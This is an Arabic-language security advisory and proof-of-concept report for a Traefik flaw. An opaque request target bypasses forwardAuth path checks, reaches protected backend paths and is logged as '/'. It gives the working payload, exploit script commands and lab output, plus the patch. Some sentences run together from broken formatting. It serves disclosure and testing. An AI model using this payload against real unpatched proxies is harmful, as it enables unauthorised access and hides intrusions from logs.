CVE-2026-88009 — يقوم Traefik بإعادة توجيه هدف طلب غير شفاف بدون جذر تراه مكوّنات التوجيه/forwardAuth على أنه '/'. تجاوز المصادقة + التهرب من سجلات الوصول، تم التحقق منه في v3.7.10 / v3.7.13.
/ لكنه يمرّره حرفيًاالمتأثر: Traefik < 2.11.57، و3.0.0 – 3.7.13
تم الإصلاح: 2.11.57 / 3.7.13
الإصلاح: commit 58d1e9ca2045 "Deny request with an opaque request target" — denyOpaque في pkg/server/server_entrypoint_tcp.go
الاستشارة: GHSA-f52w-8j3h-j724 · CVSS 8.8 · CWE-1286 / CWE-444
لا يفرض net/http في Go صيغة الأصل (origin-form) على هدف الطلب: بل يسلّم الهدف
الخام إلى url.ParseRequestURI. هدف مثل
GET http:http://app.local/private/secret HTTP/1.1
يُحلَّل إلى {Scheme:"http", Opaque:"http://app.local/private/secret", Path:""} — وهو
هدف absolute-form قانوني وفق RFC 9112 §3.2.2. عندها يقيّم Traefik كل شيء
مقابل مسار يُطبَّع إلى /:
sanitizePath الدالة URL.JoinPath()، التي تنسخ Opaque وتضبط Path="/"؛Path، لذا يطابق PathPrefix(/) (وأي موجّه Host())؛forwardAuth قيمة X-Forwarded-Uri من URL.RequestURI()، التي تُرجع
Opaque، لذا يرى خادم المصادقة http://app.local/private/secret بدلاً من
/private/secret، وتفشل سياسة بادئة المسار على نحو مفتوح؛encodedCharacters قيمة EscapedPath() → /؛GET / HTTP/1.1.يُكتب الطلب الصادر باستخدام URL.RequestURI() مرة أخرى، التي تُرجع Opaque
حرفياً، لذا يتلقى الخادم الخلفي هدف المهاجم الحامل للسلطة ويحلّه
إلى /private/secret.
يغلّف الإصلاح معالج نقطة الدخول أخيراً بحيث يعمل أولاً:
func denyOpaque(h http.Handler) http.Handler {
return http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
if req.URL.Opaque != "" {
log.WithoutContext().Debugf("Rejecting request because it has an opaque URL: %s", req.URL.Opaque)
rw.WriteHeader(http.StatusBadRequest)
return
}
h.ServeHTTP(rw, req)
})
}
| الدور | الصورة | الحاوية | منفذ المضيف |
|---|---|---|---|
| وكيل معرّض للثغرة | traefik:v3.7.10 | poc-traefik-vuln-3710 | 127.0.0.1:21020 → :8001 (نقطة الدخول opaque) |
| وكيل مُصلَّح | traefik:v3.7.13 | poc-traefik-3713 | 127.0.0.1:21023 → :8001 |
PathPrefix(/) مع forwardAuth → http://authz:8080/check.poc-traefik-authz سياسة بادئة المسار: X-Forwarded-Uri الذي يبدأ
بـ /private → 403 DENY، وكل ما عدا ذلك → 200 ALLOW؛ ويسجّل الـ URI
الدقيق الذي سُئل عنه.poc-traefik-app هدفًا بلا جذر/مطلقًا إلى مسار (وهو السلوك الذي
يشترطه التنبيه على الواجهة الخلفية: "against a backend that resolves a rootless target
as a path") ويقدّم SECRET-AREA … للمسار /private/*.lab/README.md.python3 cve_2026_88009.py exploit --url http://127.0.0.1:21020 # vulnerable
python3 cve_2026_88009.py check --url http://127.0.0.1:21023 # fixed
تُستخدم المقابس الخام (raw sockets) في PoC عن قصد: إذ يقوم curl بتطبيع الهدف، ويرفض http.client مسارًا غير بصيغة الأصل (non-origin-form)، لذا يُخفي كلاهما الثغرة. تتوفر الخيارات --path و--vhost و--output.
traefik:v3.7.10 المصاب — تجاوز forwardAuth$ python3 cve_2026_88009.py exploit --url http://127.0.0.1:21020
[*] target : http://127.0.0.1:21020
[*] protected path : /private/secret
[*] opaque target : http:http://app.local/private/secret
[*] mode : exploit
[*] control GET /private/secret HTTP/1.1 -> HTTP/1.1 403 Forbidden
body: DENY uri=/private/secret
[*] bypass GET http:http://app.local/private/secret HTTP/1.1
-> HTTP/1.1 200 OK
SECRET-AREA internal data served for /private/secret
request_line: GET http://app.local/private/secret HTTP/1.1
resolved_path: /private/secret
=> PASS (opaque target bypassed forwardAuth and reached /private/secret: HTTP 200, backend served the protected content)
تم استشارة خادم المصادقة، لكن باستخدام URI على شكل المهاجم — هذا هو الانفتاح عند الفشل، من سجل حاوية authz:
[authz] X-Forwarded-Uri='/private/secret' -> 403
[authz] X-Forwarded-Uri='http://app.local/private/secret' -> 200
[authz] X-Forwarded-Uri='/private/secret' -> 403
وسجل وصول الوكيل يخفي الهجوم — إذ يُسجَّل الطلب على أنه /:
192.168.48.1 - - [24/Oct/2026:13:22:28 +0000] "GET /private/secret HTTP/1.1" 403 24 "-" "-" 2 "opaque-lab@file" "-" 1ms
192.168.48.1 - - [24/Oct/2026:13:22:28 +0000] "GET / HTTP/1.1" 200 143 "-" "-" 3 "opaque-lab@file" "http://app:8080" 2ms
$ curl -sS -w '\n[%{http_code}]\n' http://127.0.0.1:21020/private/secret
DENY uri=/private/secret
[403]
traefik:v3.7.13 — رفض الهدف غير الشفاف قبل التوجيه$ python3 cve_2026_88009.py check --url http://127.0.0.1:21023
[*] target : http://127.0.0.1:21023
[*] protected path : /private/secret
[*] opaque target : http:http://app.local/private/secret
[*] mode : check
[*] control GET /private/secret HTTP/1.1 -> HTTP/1.1 403 Forbidden
body: DENY uri=/private/secret
[*] bypass GET http:http://app.local/private/secret HTTP/1.1
-> HTTP/1.1 400 Bad Request
=> PASS (fixed: opaque request target rejected with HTTP 400 before routing)
forwardAuth fail-open) وتهرّب سجلات الوصول. كما يمنح نفس شكل الهدف توجيهًا عابرًا للـ vhost (يستقبل الخادم الخلفي http://app.local/…، أي سلطة لم يرها قط من الموجّه)، لأن التوجيه طابق على Path="/" بينما يحمل الهدف المُمرَّر المضيف المضمَّن.encodedCharacters بشكل منفصل (لا يفعّل المختبر allowEncodedSlash=false)؛ وهو ينتج عن نفس منطق EscapedPath()=="/" الموثّق في التنبيه الأمني.